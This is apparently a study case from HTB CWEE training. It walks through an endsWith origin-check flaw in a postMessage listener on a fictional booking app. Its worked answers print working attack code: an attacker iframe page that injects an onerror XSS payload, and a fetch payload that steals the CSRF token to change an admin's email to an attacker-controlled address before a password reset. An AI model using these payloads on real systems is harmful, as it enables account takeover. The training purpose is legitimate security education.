HTB CWEE study materials
HTB CWEE study resources

postMessage Origin Suffix Bypass to Account Takeover

HTB CWEE · Put your knowledge to work in context.

All case studies

postMessage Origin Suffix Bypass to Account Takeover

A travel booking SPA at booking.example.com is embeddable by partners. It registers a message listener and, for type === 'theme', assigns data.html to document.getElementById('preview').innerHTML. The origin check is if (!event.origin.endsWith('partner.example.com')) return;. CSP is default-src 'self'; script-src 'self' 'unsafe-inline'; img-src *; connect-src 'self'; frame-ancestors *. The session cookie is HttpOnly; SameSite=Lax. The account settings page contains <meta name="csrf-token" content="...">, and POST /account/email changes the account email. A support agent with an admin role regularly opens partner demo pages in the same browser while logged into booking.example.com. You control evilpartner.example.com and attacker.test. You need to prove impact by changing the agent's email to one you control, then triggering a reset.

1. Why is the origin check insufficient, and what is the minimal attacker page? Include the postMessage payload.

Read the worked answer

endsWith('partner.example.com') accepts evilpartner.example.com because the string ends with the trusted suffix. The attacker page embeds the booking app, waits for load, and posts to the iframe. Because CSP includes 'unsafe-inline', an inline event handler in the injected HTML executes.

<iframe id=f src="https://booking.example.com"></iframe>
<script>
f.onload=()=>f.contentWindow.postMessage({
  type:'theme',
  html:'<img src=x onerror="alert(document.domain)">'
},'https://booking.example.com');
</script>

The img-src * directive does not block the broken image, and the inline onerror is allowed by script-src 'unsafe-inline'. The target origin should be explicit in a real test. Receiving alert(document.domain) inside booking.example.com proves script execution in the trusted origin, not just in the partner page.

2. Chain it to account takeover. Give the payload logic and explain how HttpOnly, SameSite, and CSP affect it.

Read the worked answer

HttpOnly prevents reading document.cookie, but the XSS runs in the booking origin and can read the CSRF meta tag: document.querySelector('meta[name=csrf-token]').content. SameSite=Lax does not block the attack because the fetch is same-origin, not cross-site. CSP allows inline script and connect-src 'self', so the request is permitted.

Use a payload that avoids quote nesting:

<img src=x onerror="fetch('/account/email',{method:'POST',headers:{'Content-Type':'application/json','X-CSRF-Token':document.querySelector('meta[name=csrf-token]').content},body:JSON.stringify({email:'[email protected]'})})">

After the email change, trigger POST /api/reset/request for the new address, receive the code at attacker.test, reset the password, and log in. The main obstacle is role enforcement on /account/email; if the support agent lacks permission, the same primitive can target another admin-only state-changing endpoint discovered from the settings page. Report the suffix match, the innerHTML sink, and the missing event.source validation as separate defects.